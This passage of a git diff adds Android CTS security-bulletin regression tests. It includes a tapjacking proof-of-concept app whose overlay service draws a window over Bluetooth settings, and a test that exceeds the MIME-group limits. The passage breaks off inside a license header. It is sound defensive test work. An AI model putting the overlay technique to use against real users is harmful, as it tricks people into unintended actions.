- protected static MetricsReportLog buildMetricsReportLog(ITestDevice device) {
- IBuildInfo buildInfo = getBuildInfo(device);
- IAbi abi = getAbi(device);
- String testName = getTestName(device);
-
- StackTraceElement[] stacktraces = Thread.currentThread().getStackTrace();
- int stackDepth = 2; // 0: getStackTrace(), 1: buildMetricsReportLog, 2: caller
- String className = stacktraces[stackDepth].getClassName();
- String methodName = stacktraces[stackDepth].getMethodName();
- String classMethodName = String.format("%s#%s", className, methodName);
-
- // The stream name must be snake_case or else json formatting breaks
- String streamName = methodName.replaceAll("(\\p{Upper})", "_$1").toLowerCase();
-
- MetricsReportLog reportLog = new MetricsReportLog(
- buildInfo,
- abi.getName(),
- classMethodName,
- "CtsSecurityBulletinHostTestCases",
- streamName,
- true);
- reportLog.addValue("test_name", testName, ResultType.NEUTRAL, ResultUnit.NONE);
- return reportLog;
- }
-
- private long getDeviceUptime() throws DeviceNotAvailableException {
- String uptime = null;
- int attempts = 5;
- do {
- if (attempts-- <= 0) {
- throw new RuntimeException("could not get device uptime");
- }
- getDevice().waitForDeviceAvailable();
- uptime = getDevice().executeShellCommand("cat /proc/uptime").trim();
- } while (uptime.isEmpty());
- return Long.parseLong(uptime.substring(0, uptime.indexOf('.')));
- }
-
- public void safeReboot() throws DeviceNotAvailableException {
- getDevice().nonBlockingReboot();
- getDevice().waitForDeviceAvailable();
- updateKernelStartTime();
- }
-
- /**
- * Allows a test to pass if called after a planned reboot.
- */
- public void updateKernelStartTime() throws DeviceNotAvailableException {
- long uptime = getDeviceUptime();
- kernelStartTime = (System.currentTimeMillis() / 1000) - uptime;
- }
-
- /**
- * Return true if a module is play managed.
- *
- * Example of skipping a test based on mainline modules:
- * <pre>
- * @Test
- * public void testPocCVE_1234_5678() throws Exception {
- * // This will skip the test if MODULE_METADATA mainline module is play managed.
- * assumeFalse(moduleIsPlayManaged("com.google.android.captiveportallogin"));
- * // Do testing...
- * }
- * * </pre>
- */
- boolean moduleIsPlayManaged(String modulePackageName) throws Exception {
- return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName);
- }
-
- public void assumeIsSupportedNfcDevice(ITestDevice device) throws Exception {
- String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
- "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
- "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
- "/dev/st54j*", "/dev/st21nfc*" };
- boolean isDriverFound = false;
- for(String supportedDriver : supportedDrivers) {
- if(containsDriver(device, supportedDriver, false)) {
- isDriverFound = true;
- break;
- }
- }
- String[] output = device.executeShellCommand("ls -la /dev | grep nfc").split("\\n");
- String nfcDevice = null;
- for (String line : output) {
- if(line.contains("nfc")) {
- String text[] = line.split("\\s+");
- nfcDevice = text[text.length - 1];
- }
- }
- assumeTrue("NFC device " + nfcDevice + " is not supported. Hence skipping the test",
- isDriverFound);
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index c4d37b0ecb5..91c84d7333e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -16,27 +16,26 @@
package android.security.cts;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.compatibility.common.util.CrashUtils;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.not;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeThat;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
import junit.framework.Assert;
-import java.util.Arrays;
-import java.util.ArrayList;
-import static org.junit.Assume.*;
-import static org.hamcrest.CoreMatchers.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class TestMedia extends SecurityTestCase {
+import java.util.Arrays;
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class TestMedia extends NonRootSecurityTestCase {
/******************************************************************************
* To prevent merge conflicts, add tests for N below this comment, before any
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
index 7f819bcaab4..ef3e6cdf869 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
@@ -17,6 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.security.cts.BUG_182282630"
android:targetSandboxVersion="2">
+ <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application
android:label="@string/app_name"
diff --git a/apps/MainlineModuleDetector/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp
index 2cba39f6c98..d7af1caff97 100644
--- a/apps/MainlineModuleDetector/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp
@@ -1,5 +1,4 @@
-//
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2021 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -12,27 +11,21 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-//
-
-package {
- // See: http://go/android-license-faq
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-android_test {
- name: "MainlineModuleDetector",
- defaults: ["cts_defaults"],
- static_libs: ["compatibility-device-util-axt"],
- // Disable dexpreopt and <uses-library> check for test.
- enforce_uses_libs: false,
- dex_preopt: {
- enabled: false,
- },
+android_test_helper_app {
+ name: "BUG-182810085",
+ defaults: ["cts_support_defaults"],
srcs: ["src/**/*.java"],
- sdk_version: "current",
test_suites: [
"cts",
- "general-tests",
+ "vts10",
"sts",
],
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml
new file mode 100644
index 00000000000..5777c1825ac
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.BUG_182810085"
+ minSdkVersion="29">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application android:theme="@style/Theme.AppCompat.Light">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".OverlayService"
+ android:enabled="true"
+ android:exported="false" />
+
+ <activity
+ android:name=".MainActivity"
+ android:label="ST (Permission)"
+ android:exported="true"
+ android:taskAffinity="android.security.cts.BUG_182810085.MainActivity">
+
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.BUG_182810085" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml
new file mode 100644
index 00000000000..0ac0cf489f4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<RelativeLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:gravity="left"
+ tools:context=".MainActivity" >
+
+ <LinearLayout
+ android:id="@+id/linearLayout1"
+ android:layout_width="fill_parent"
+ android:layout_height="wrap_content"
+ android:layout_below="@+id/seekShowTimes"
+ android:layout_centerHorizontal="true"
+ android:layout_marginTop="53dp"
+ android:orientation="horizontal" >
+
+ <Button
+ android:id="@+id/btnStart"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Start" />
+
+ </LinearLayout>
+
+</RelativeLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml
new file mode 100644
index 00000000000..347c9e1dec7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml
@@ -0,0 +1,19 @@
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <string name="tapjacking_text">BUG_182810085 overlay text</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java
new file mode 100644
index 00000000000..d7b940e99eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_182810085;
+
+final class Constants {
+
+ public static final String LOG_TAG = "BUG-182810085";
+ public static final String TEST_APP_PACKAGE = Constants.class.getPackage().getName();
+
+ public static final String ACTION_START_TAPJACKING = "BUG_182810085.start_tapjacking";
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java
new file mode 100644
index 00000000000..4dbe976cdb0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_182810085;
+
+import static android.security.cts.BUG_182810085.Constants.LOG_TAG;
+
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
+
+/** Basic sample for unbundled UiAutomator. */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final long WAIT_FOR_UI_TIMEOUT = 20_000;
+
+ private Context mContext;
+ private UiDevice mDevice;
+
+ @Before
+ public void setUp() throws Exception {
+ Log.d(LOG_TAG, "startMainActivityFromHomeScreen()");
+
+ mContext = getApplicationContext();
+
+ // If the permission is not granted, the app will not be able to show an overlay dialog.
+ // This is required for the test below.
+ // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail.
+ assertEquals("Permission SYSTEM_ALERT_WINDOW not granted!",
+ mContext.checkSelfPermission("android.permission.SYSTEM_ALERT_WINDOW"),
+ PackageManager.PERMISSION_GRANTED);
+
+ // Initialize UiDevice instance
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ if (!mDevice.isScreenOn()) {
+ mDevice.wakeUp();
+ }
+ mDevice.pressHome();
+ }
+
+ @Test
+ public void testTapjacking() throws InterruptedException {
+ Log.d(LOG_TAG, "Starting tap-jacking test");
+
+ launchTestApp();
+
+ launchTapjackedActivity();
+
+ mContext.sendBroadcast(new Intent(Constants.ACTION_START_TAPJACKING));
+ Log.d(LOG_TAG, "Sent intent to start tap-jacking!");
+
+ UiObject2 overlay = waitForView(By.text(mContext.getString(R.string.tapjacking_text)));
+ assertNull("Tap-jacking successful. Overlay was displayed.!", overlay);
+ }
+
+ @After
+ public void tearDown() {
+ mDevice.pressHome();
+ }
+
+ private void launchTestApp() {
+ Intent intent = mContext.getPackageManager().getLaunchIntentForPackage(
+ Constants.TEST_APP_PACKAGE);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
+
+ // Wait for the app to appear
+ UiObject2 view = waitForView(By.pkg(Constants.TEST_APP_PACKAGE).depth(0));
+ assertNotNull("test-app did not appear!", view);
+ Log.d(LOG_TAG, "test-app appeared");
+ }
+
+ private void launchTapjackedActivity() {
+ Intent intent = new Intent();
+ intent.setAction("android.settings.BLUETOOTH_SETTINGS");
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ UiObject2 activityInstance = waitForView(By.pkg("com.android.car.settings").depth(0));
+ assertNotNull("Activity under-test was not launched or found!", activityInstance);
+
+ Log.d(LOG_TAG, "Started Activity under-test.");
+ }
+
+ private UiObject2 waitForView(BySelector selector) {
+ return mDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java
new file mode 100644
index 00000000000..b31e83bddcb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.BUG_182810085;
+
+import static android.security.cts.BUG_182810085.Constants.LOG_TAG;
+
+import android.app.AlertDialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.SeekBar;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+import java.util.ArrayList;
+
+/** Main activity for the test-app. */
+public final class MainActivity extends AppCompatActivity {
+
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ public void onReceive(Context context, Intent intent) {
+ startTapjacking();
+ }
+ };
+
+ private Button btnStart;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+
+ registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_START_TAPJACKING));
+
+ btnStart = (Button) findViewById(R.id.btnStart);
+ btnStart.setOnClickListener(v -> startTapjacking());
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ unregisterReceiver(mReceiver);
+ stopOverlayService();
+ }
+
+ public void startTapjacking() {
+ Log.d(LOG_TAG, "Starting tap-jacking flow.");
+ stopOverlayService();
+
+ startOverlayService();
+ Log.d(LOG_TAG, "Started overlay-service.");
+ }
+
+ private void startOverlayService() {
+ startService(new Intent(getApplicationContext(), OverlayService.class));
+ }
+
+ private void stopOverlayService() {
+ stopService(new Intent(getApplicationContext(), OverlayService.class));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java
new file mode 100644
index 00000000000..0c62a80ca46
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_182810085;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.provider.Settings;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+/** Service that starts the overlay for the test. */
+public final class OverlayService extends Service {
+ public Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ @Override
+ public void onCreate() {
+ Log.d(Constants.LOG_TAG, "onCreate() called");
+ super.onCreate();
+
+ DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+ int scaledWidth = (int) (displayMetrics.widthPixels * 0.9);
+ int scaledHeight = (int) (displayMetrics.heightPixels * 0.9);
+
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.CENTER;
+ mLayoutParams.width = scaledWidth;
+ mLayoutParams.height = scaledHeight;
+ mLayoutParams.x = scaledWidth / 2;
+ mLayoutParams.y = scaledHeight / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ Log.d(Constants.LOG_TAG, "onStartCommand() called");
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(Constants.LOG_TAG, "onDestroy() called");
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ if (!Settings.canDrawOverlays(this)) {
+ Log.w(Constants.LOG_TAG, "Cannot show overlay window. Permission denied");
+ }
+
+ mButton = new Button(getApplicationContext());
+ mButton.setText(getResources().getString(R.string.tapjacking_text));
+ mButton.setTag(mButton.getVisibility());
+ mWindowManager.addView(mButton, mLayoutParams);
+
+ new Handler(Looper.myLooper()).postDelayed(this::stopSelf, 60_000);
+ Log.d(Constants.LOG_TAG, "Floating window created");
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp
new file mode 100644
index 00000000000..9ac80ac1a46
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp
@@ -0,0 +1,64 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "BUG-237291548",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
+
+android_test_helper_app {
+ name: "BUG-237291548-FAIL-INSTALL",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ manifest: ":BUG-237291548-BAD-MANIFEST",
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
+
+// Modify the manifest file to include more than 500 MIME groups. The resulting
+// test apk generated using this manifest should fail package install since the
+// number of MIME groups is limited to a maximum of 500 per package.
+genrule {
+ name: "BUG-237291548-BAD-MANIFEST",
+ srcs: ["AndroidManifest.xml"],
+ out: ["BadAndroidManifest.xml"],
+ cmd: "awk '/myMimeGroup/{print;for(i=0;i<501;i++){sub(/myMimeGroup[0-9]*/,\"myMimeGroup\"i);print}}1' $(in) > $(out)",
+} \ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml
new file mode 100644
index 00000000000..cc692b86011
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.BUG_237291548"
+ android:targetSandboxVersion="2">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity
+ android:name=".MainActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ <data android:mimeGroup="myMimeGroup" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.BUG_237291548" />
+
+</manifest> \ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java
new file mode 100644
index 00000000000..e4554aa86b6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_237291548;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.pm.PackageManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashSet;
+import java.util.Set;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final String MIME_GROUP = "myMimeGroup";
+
+ PackageManager mPm = getApplicationContext().getPackageManager();
+
+ @Test(expected = IllegalStateException.class)
+ public void testExceedGroupLimit() {
+ Set<String> mimeTypes = mPm.getMimeGroup(MIME_GROUP);
+ assertEquals(mimeTypes.size(), 0);
+ for (int i = 0; i < 500; i++) {
+ mimeTypes.add("MIME" + i);
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+ mimeTypes = mPm.getMimeGroup(MIME_GROUP);
+ assertEquals(500, mimeTypes.size());
+ mimeTypes.add("ONETOMANYMIME");
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testExceedMimeLengthLimit() {
+ Set<String> mimeTypes = new HashSet<>();
+ mimeTypes.add(new String(new char[64]).replace("\0", "MIME"));
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp
new file mode 100644
index 00000000000..f07b5cc421e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-0441",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml
new file mode 100644
index 00000000000..66451bd556b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
